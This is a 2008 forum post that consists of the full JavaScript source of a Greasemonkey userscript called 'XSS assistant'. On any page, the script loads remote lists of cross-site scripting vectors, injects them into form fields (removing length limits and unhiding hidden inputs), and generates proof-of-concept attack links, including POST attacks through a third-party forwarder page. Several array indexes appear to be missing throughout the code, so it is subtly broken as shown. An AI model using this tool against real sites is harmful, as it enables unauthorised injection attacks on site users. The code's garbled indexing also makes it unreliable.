Re: Greasemonkey XSS assistant
Date: February 09, 2008 04:59AM
// ==UserScript==
// @name XSS assistant
// @description This will help people find Cross site scripting flaws in forms as well and ease making a PoC from the XSS which is easy to show people.
// @include *
// ==/UserScript==
/*
How to use:
Install this script into greasemonkey. To start XSSing forms select tools > Greasemonkey > User script commands > Start XSSing forms.
From now on all forms on all pages will have an image by them, clicking that image will bring up a menu with plenty of options to help
you speedily find flaws in the form.
To stop XSSing forms (which means the image won't appear anymore) select tools > Greasemonkey > User script commands > Stop XSSing forms.
Don't forget you can change some variables just below this block of comments
*/
//USER SETINGS START
//list of xml files to read to get the XSS vectors from
//vectorsURL = new Array("http://ha.ckers.org/xssAttacks.xml","http://127.0.0.1/xss.xml")
vectorsURL = new Array("http://ha.ckers.org/xssAttacks.xml")
//The url of the page which can showcase XSSes using POST. default = "http://www.whiteacid.org/misc/xss_post_forwarder.php"
setting_PoC_POST = "http://www.whiteacid.org/misc/xss_post_forwarder.php"
//USER SETTINGS END
glb_xss = new Array()
glb_forms = new Array()
//Load the remote XML files with all the XSSes in them
function getRemoteXMLFiles()
{
for (i=0; i<vectorsURL.length; i++)
{
GM_xmlhttpRequest
(
{
method:"GET",
url:vectorsURL,
headers:
{
"User-Agent":"XSS assistant",
"Accept":"text/xml",
},
onload:function(details)
{
add2glb_xss(this.url,parseXML(details.responseText))
//As a one time thing we need to set the default list of values in the second select box
//We can only do this after the first AJAX request has been returned, so this is where we do it
if (glb_xss.length == 1)
{
changeVectors(this.url)
}
}
}
)
}
}
//Given the remote XML files, store that data
function add2glb_xss(url,xml)
{
glb_xss.push(new Array(url,xml.name,xml.vector))
}
//Find all forms on the page and add the relevant image button by them
function findForms()
{
xss_images = new Array() //array of all images
frms = document.forms //array of all forms
for (i=0; i<frms.length; i++) //for each form
{
xss_images.push(createButton(i)) //create a new image
frms.insertBefore(xss_images[xss_images.length-1],document.forms.firstChild) //insert image as first thing inside form
glb_forms.push(new Array(i,frms.innerHTML))
}
}
//creates the button which when clicked brings up the menu
function createButton(n)
{
x = document.createElement('img')
x.src = "data:image/gif,GIF89aP%00%0F%00%91%00%00%00%00%00%FFf%00%FF%FF%FF%00%00%00!%F9%04%00%00%00%00%00%2C%00%00%00%00P%00%0F%00%40%02%86%84%8F%A9%CB%ED%0F%8F%084%CCY%B3%D5%14%5B%01%86!%20%0A%A4)%92%E7%C8%96%AE%E1q%F2%9C%B9%F6%8D%E78L%F7%B4%0E%0C%06y%BEbM%88L%8EH%B5%8D%26V%81~n%2B%D0%A9zM%A9%AAT%A6%F1%AB%0C%0B%23%E4%B2%F9%BC%10%AB%D7a%E2%B7%C8%8Ek%3DtN%E8%09%8A%EE%60%CB%92%24%D5%92%E3%D61%93%87w%D4%B5%92%B5%C4%A5%82%A2%E3V%87%88%17%23%F8%D2h%05%98%09%E9%F5%E6%23%07%CA%07%3A%1AZ%00%00%3B"
x.alt = n //Just for holding the form number
x.setAttribute("onclick","openMenu(this)")
x.setAttribute("style","display: block; z-index: 9")
return x
}
//Opens the menu and places it at the button which called this function
function openMenu(getter)
{
father = document.getElementById('menu_father')
coords = findPos(getter)
father.style.top = coords.top+"px"
father.style.display = 'block'
//If the box is off the bottom or off too far to the right, bring it home (this can only be done after we've set father.style.display = "block"
while (coords.left+getter.offsetWidth+5+father.offsetWidth > screen.width)
{
coords.left--
}
father.style.left = coords.left+getter.offsetWidth+5+"px"
//And now for height - broken (hence commented out)
/*
while (coords.top+father.offsetHeight > (screen.height)+coords.top)
{
coords.top--
}
father.style.top = coords.top+getter.offsetHeight+"px"
*/
//Enter the form info in the menu's heading
heading = document.getElementById('menu_heading')
heading.innerHTML = "Form "+getter.alt
try
{
heading.innerHTML += " ["+getter.parentNode.name+"]"
} catch (err) {}
//shove the correct options into the menu_target_select select box
targets = document.getElementById('menu_target_select')
//remove existing elements
while (targets.childNodes.length != 0)
targets.removeChild(targets.childNodes[0])
children = getChildren(document.forms[getFormNumber()])
//Add the global option
tmp = document.createElement('option')
tmp.value = ""
tmp.innerHTML = "#GLOBAL#"
targets.appendChild(tmp)
//Loop through named elements and add them
for (i=0; i<children.length; i++)
{
try
{
if (children.hasAttribute('name'))
{
tmp = document.createElement('option')
tmp.value = children.name
tmp.innerHTML = children.name
targets.appendChild(tmp)
}
}
catch(err) {}
}
}
//Function to create the menu
function createMenu()
{
//Create top level of menu
father = document.createElement('div')
father.id = "menu_father"
father.setAttribute("style","display: none; position: absolute; z-index: 10; top: 0px; left: 0px; style;")
//the title bar (empty but allows the box to be dragged)
title = document.createElement('div')
title.setAttribute("onmousedown","dragStart(event,'menu_father')")
title.appendChild(document.createElement('br'))
title.setAttribute("style", "cursor: move; border: none;")
father.appendChild(title)
//The heading with the info of the form that currently being looked at
heading = document.createElement('div')
heading.id = "menu_heading"
father.appendChild(heading)
//Create the options
//Show info will show all the info about the form including the forms target and method as well as the name attribute of every element
showInfo = document.createElement('div')
showInfo.innerHTML = "Show form information"
showInfo.setAttribute("onclick","showInfo()")
father.appendChild(showInfo)
//A couple of select boxes allowing the user to apply certain XSS vectors.
vectors_div = createVectors()
father.appendChild(vectors_div)
//The create PoC function will supply the user with a ready-to-copy-n-paste link to showcase their XSS.
PoC = document.createElement('div')
PoC.innerHTML = "Generate PoC link"
PoC.setAttribute("onclick","createPoC()")
father.appendChild(PoC)
//The reset function sets the form back to how it was when the page loaded.
reset = document.createElement('div')
reset.innerHTML = "Reset form"
reset.setAttribute("onclick","resetForm()")
father.appendChild(reset)
//Create a submit form button
submit = document.createElement('div')
submit.innerHTML = "Submit form"
submit.setAttribute("onclick","submitForm()")
father.appendChild(submit)
//The close button, closes the menu
close_button = document.createElement('input')
close_button.type = "button"
close_button.value = " [ close ] "
close_button.setAttribute("onclick","hideMe(document.getElementById('menu_father'))")
father.appendChild(close_button)
//And shove the whole box onto the document.
document.body.appendChild(father) //hehe, semantics went out the window there
}
//Function which creates the bar which lets you XSS the querystrings
function createGETBar(GET)
{
bar = document.createElement('div')
bar.className = "GETBar"
//An error may have occured when reading the querystring
if (GET == 'ERROR')
{
bar.innerHTML = "Error, cannot read the querystring variables and corresponding values"
document.body.appendChild(bar)
return
}
//An easy way to let people XSS these variables is by creating a hidden form and then just letting the rest of the script treat it as such
form = document.createElement('form')
form.method = "get"
form.action = location.href.substring(0,location.href.indexOf("?"))
form.id = "xss_querystring"
//Start looping through each GETed variable and add that to this form
for (i=0; i<GET.list_name.length; i++)
{
tmp = document.createElement('input')
tmp.type = 'hidden'
tmp.setAttribute('name',GET.list_name)
tmp.setAttribute('value',GET.list_value)
form.appendChild(tmp)
}
bar.appendChild(form)
document.body.appendChild(bar)
}
//Given the returned code from a remote location, turn it into usable XML
function parseXML(html)
{
names = new Array()
vectors = new Array()
parser = new DOMParser()
var dom = parser.parseFromString(html,"application/xml")
var entries = dom.getElementsByTagName('attack')
for (var i = 0; i < entries.length; i++)
{
names.push(entries.getElementsByTagName('name')[0].textContent)
vectors.push(entries.getElementsByTagName('code')[0].textContent)
}
return {name:names,vector:vectors}
}
//Show the info about a form
showInfoDone = new Array()
function showInfo()
{
x = getFormNumber()
//Check if already done
for (i=0; i<showInfoDone.length; i++)
{
if (showInfoDone == x)
{
alert("Already shown information on this form.\nIf you want to run it again reset the status and run this again.")
return false;
}
}
showInfoDone.push(x)
f = document.forms[x]
//Add the forms info
x = document.createElement('span')
x.setAttribute("class","form_info")
x.innerHTML = "name: "+f.name+"<br />target: "+f.target+"<br />"
f.insertBefore(x,f.childNodes[1])
//Go through all nodes with a name attribute and add info about them
children = getChildren(f)
for (i=0; i<children.length; i++)
{
try
{
if (children.hasAttribute('name'))
{
x = document.createElement('span')
x.setAttribute("class","form_info")
x.innerHTML = children.name
children.parentNode.insertBefore(x,children)
}
//Show any hidden elements
if (children.type == "hidden")
children.type = "text"
}
catch(err) {}
}
}
//Create the select boxes and return their objects.
function createVectors()
{
holder = document.createElement('div')
url_list = document.createElement('select')
url_list.setAttribute('onchange','changeVectors(this.value)')
vector_list = document.createElement('select')
vector_list.id = "menu_vector_select"
target_list = document.createElement('select')
target_list.id = "menu_target_select"
apply_button = document.createElement('input')
apply_button.type = "button"
apply_button.value = "apply"
apply_button.setAttribute('onclick','applyVectors(document.getElementById("menu_target_select").value,document.getElementById("menu_vector_select").value)')
for (i=0; i<vectorsURL.length; i++)
{
x = document.createElement('option')
x.value = vectorsURL
x.innerHTML = getDomain(vectorsURL)
url_list.appendChild(x)
}
x = document.createElement('option')
x.innerHTML = "Select a vector"
x.value = ""
vector_list.appendChild(x)
holder.appendChild(url_list)
holder.appendChild(vector_list)
holder.appendChild(document.createElement("br"))
holder.appendChild(target_list)
holder.appendChild(apply_button)
return holder
}
//Function will change which vectors are visible in the second select box, shows the vectors from the source supplied as parameter.
function changeVectors(val)
{
for (i=0; i<glb_xss.length; i++)
{
if (glb_xss[0] == val)
{
o = document.getElementById('menu_vector_select')
o.innerHTML = "" //clear any old data
x = document.createElement('option')
x.innerHTML = "Select a vector"
x.value = ""
o.appendChild(x)
for (j=0; j<glb_xss[1].length; j++)
{
x = document.createElement('option')
x.value = glb_xss[2][j]
x.innerHTML = glb_xss[1][j]
o.appendChild(x)
}
}
}
}
//Apply a certain vector to all elements in form which have a name attribute
function applyVectors(target,vector)
{
f = document.forms[getFormNumber()]
children = getChildren(f)
//If we are to apply globally
if (target == "")
{
for (i=0; i<children.length; i++)
{
try
{
if (children.hasAttribute('name'))
{
if (children.hasAttribute('maxlength'))
children.removeAttribute('maxlength')
children.value = vector
}
//Show any hidden elements
if (children.type == "hidden")
children.type = "text"
}
catch(err) {}
}
}
else //If we are to apply only to one element
{
for (i=0; i<children.length; i++)
{
if (children.name == target)
{
children.removeAttribute('maxlength')
children.value = vector
}
}
}
}
//Create a prompt box which allows users to easily copy paste PoC links
function createPoC()
{
f = document.forms[getFormNumber()]
method = f.method.toLowerCase()
target = f.target
if (target == "")
target = location.href
if (method != "post") //incase they are odd, or didn't supply one then default to get
method = "get"
if (method == "get")
{
//Scrap any existing querystring variables in the target
if (target.indexOf("?") > -1)
{
target = target.substring(0,target.indexOf("?"))
}
target += "?"
children = getChildren(f)
target = addToTarget(target,children)
//Chop off the last &
target = target.substr(0,target.length-1)
prompt("Copy the below url",target)
}
else
{
//Esacpe any existing querystring variables in the target
if (target.indexOf("?") > -1)
{
target = target.substring(0,target.indexOf("?")) + escape(target.substring(target.indexOf("?"),target.length))
}
target = setting_PoC_POST+"?xss_target="+target+"&"
children = getChildren(f)
target = addToTarget(target,children)
//Chop off the last &
target = target.substr(0,target.length-1)
prompt("Copy the below url",target)
}
}
//Reset form to how it was when the page loaded
function resetForm()
{
x = getFormNumber()
f = document.forms[x]
f.innerHTML = glb_forms[x][1]
//Find and remove from the showInfoDone array
for (i=0; i<showInfoDone.length; i++)
if (showInfoDone == x)
{
showInfoDone.splice(i,1)
return true //End function so we don't do unnecessary work
}
}
//Submit the form, useful if the submit button isn't there, for whatever reason
function submitForm()
{
//Why am I using a variable at all? cos rdivilbiss said:
/*
I had a similar problem with form fields once were document.forms[0].field returned the correct reference but document.forms[0].field.focus() returned not a function.
I was able to work around that with;
tmp = document.forms[0].field;
tmp.focus();
I still to this day don't know why I had to do that but it worked.
*/
tmp = document.forms[getFormNumber()]
tmp.submit()
}
//Using the "Form 1 [form_name]" field, we'll get the forms number
function getFormNumber()
{
x = document.getElementById('menu_heading').innerHTML
x = parseInt(x.substring(4,x.length))
return x
}
//Given a url, get that urls domain
function getDomain(url)
{
url = url.substring(7,url.length)
url = url.substr(0,(url.search("/") > -1)? url.search("/"):url.length)
return url
}
//Recusively find all children of one node minus the text nodes
function getChildren(obj)
{
var children = new Array()
for (var i=0; i<obj.childNodes.length; i++)
{
if (obj.childNodes.type != 3) //type 3 is a text node
{
children.push(obj.childNodes)
if (obj.childNodes.hasChildNodes())
{
x = getChildren(obj.childNodes)
for (j=0; j<x.length; j++)
children.push(x[j])
}
}
}
return children
}
//Hide an object
function hideMe(obj)
{
obj.style.display = "none"
}
function addToTarget(target,children)
{
for (i=0; i<children.length; i++)
{
try
{
if (children.hasAttribute('name'))
{
target += children.name+"="+children.value+"&"
}
}
catch(err) {}
}
return target
}
//Function to find the X and Y co-ordinates of where the menu should go. Returns both within a struct, of sorts
function findPos(obj)
{
var curtop = 0;
var curleft = 0;
if (obj.offsetParent)
{
while (obj.offsetParent)
{
curtop += obj.offsetTop
curleft += obj.offsetLeft
obj = obj.offsetParent
}
}
return {left:curleft,top:curtop}
}
//A crap load of functions for dragging from http://www.brainjar.com/dhtml/drag/demo.html
//Removed browser checking
//*****************************************************************************
// Do not remove this notice.
//
// Copyright 2001 by Mike Hall.
// See http://www.brainjar.com for terms of use.
//*****************************************************************************
// Determine browser and version.
function Browser() {
var ua, s, i;
this.isNS = false;
this.version = null;
ua = navigator.userAgent;
// Treat any other "Gecko" browser as NS 6.1.
s = "Gecko";
if ((i = ua.indexOf(s)) >= 0) {
this.isNS = true;
this.version = 6.1;
return;
}
}
var browser = new Browser();
// Global object to hold drag information.
var dragObj = new Object();
dragObj.zIndex = 0;
function dragStart(event, id) {
var el;
var x, y;
// If an element id was given, find it. Otherwise use the element being
// clicked on.
if (id)
dragObj.elNode = document.getElementById(id);
else {
dragObj.elNode = event.target;
// If this is a text node, use its parent element.
if (dragObj.elNode.nodeType == 3)
dragObj.elNode = dragObj.elNode.parentNode;
}
// Get cursor position with respect to the page.
x = event.clientX + window.scrollX;
y = event.clientY + window.scrollY;
// Save starting positions of cursor and element.
dragObj.cursorStartX = x;
dragObj.cursorStartY = y;
dragObj.elStartLeft = parseInt(dragObj.elNode.style.left, 10);
dragObj.elStartTop = parseInt(dragObj.elNode.style.top, 10);
if (isNaN(dragObj.elStartLeft)) dragObj.elStartLeft = 0;
if (isNaN(dragObj.elStartTop)) dragObj.elStartTop = 0;
// Update element's z-index.
dragObj.elNode.style.zIndex = ++dragObj.zIndex;
// Capture mousemove and mouseup events on the page.
document.addEventListener("mousemove", dragGo, true);
document.addEventListener("mouseup", dragStop, true);
event.preventDefault();
}
function dragGo(event) {
var x, y;
// Get cursor position with respect to the page.
x = event.clientX + window.scrollX;
y = event.clientY + window.scrollY;
// Move drag element by the same amount the cursor has moved.
dragObj.elNode.style.left = (dragObj.elStartLeft + x - dragObj.cursorStartX) + "px";
dragObj.elNode.style.top = (dragObj.elStartTop + y - dragObj.cursorStartY) + "px";
event.preventDefault();
}
function dragStop(event) {
// Stop capturing mousemove and mouseup events.
document.removeEventListener("mousemove", dragGo, true);
document.removeEventListener("mouseup", dragStop, true);
}
///////////////////////////////ENDETH THE DRAGGING FNUCTIONS
//Function to read the querystring
function v_GET_init()
{
v_GET = new Object()
v_GET.list_name = new Array()
v_GET.list_value = new Array()
v_GET.raw = location.href.substring(location.href.indexOf('?')+1,location.href.length)
getted_var = v_GET.raw.split("&")
for (i=0; i<getted_var.length; i++)
{
getted_var_name = getted_var.substring(0,getted_var.search('='))
getted_var_value = getted_var.substring(getted_var.search('=')+1,getted_var.length)
v_GET.list_name.push(getted_var_name)
v_GET.list_value.push(getted_var_value)
}
return v_GET
}
//If this is the main page (not an iframe), add the buttons to the toolbar allowing user to start/stop
if (location.href == top.location)
{
GM_registerMenuCommand("Start XSSing forms", start)
GM_registerMenuCommand("Stop XSSing forms", stop)
}
//Create functions those buttons call
function start() { GM_setValue("live", true) }
function stop() { GM_setValue("live", false) }
//Add some CSS
GM_addStyle('#menu_father {background-color:#BCD2EE; padding: 2px;}')
GM_addStyle('#menu_father div {display:block; border: solid #000; border-width: 1px; cursor: pointer;}')
GM_addStyle('.form_info {color:red; background-color:#ffe4c4; font-size:small; font-family:Courier New, arial;}')
GM_addStyle('.GETBar {color:black; background-color:#ffff00; text-align:center; position: absolute; top: 0px; left: 40%; width: 20%; padding: 3px; cursor: pointer; font-size:small; font-family:Courier New, arial;}')
GM_addStyle('.GETBar * {display: inline !important;}')
//Write some function onto the page
unsafeWindow.eval(openMenu.toString())
unsafeWindow.eval(findPos.toString())
unsafeWindow.eval(hideMe.toString())
unsafeWindow.eval(showInfo.toString())
unsafeWindow.eval(resetForm.toString())
unsafeWindow.eval(submitForm.toString())
unsafeWindow.eval(changeVectors.toString())
unsafeWindow.eval(applyVectors.toString())
unsafeWindow.eval(createPoC.toString())
unsafeWindow.eval(addToTarget.toString())
//And the dragging functions
unsafeWindow.eval(Browser.toString())
unsafeWindow.eval(dragStart.toString())
unsafeWindow.eval(dragGo.toString())
unsafeWindow.eval(dragStop.toString())
//Start the whole thing off, if we're live
if (GM_getValue('live', false) == true)
{
getRemoteXMLFiles()
//If there is a querystring, add the bar
if (location.href.indexOf("?") > 0)
{
try
{
x = v_GET_init()
}
catch (err) {x = 'ERROR'}
createGETBar(x)
}
findForms()
createMenu()
}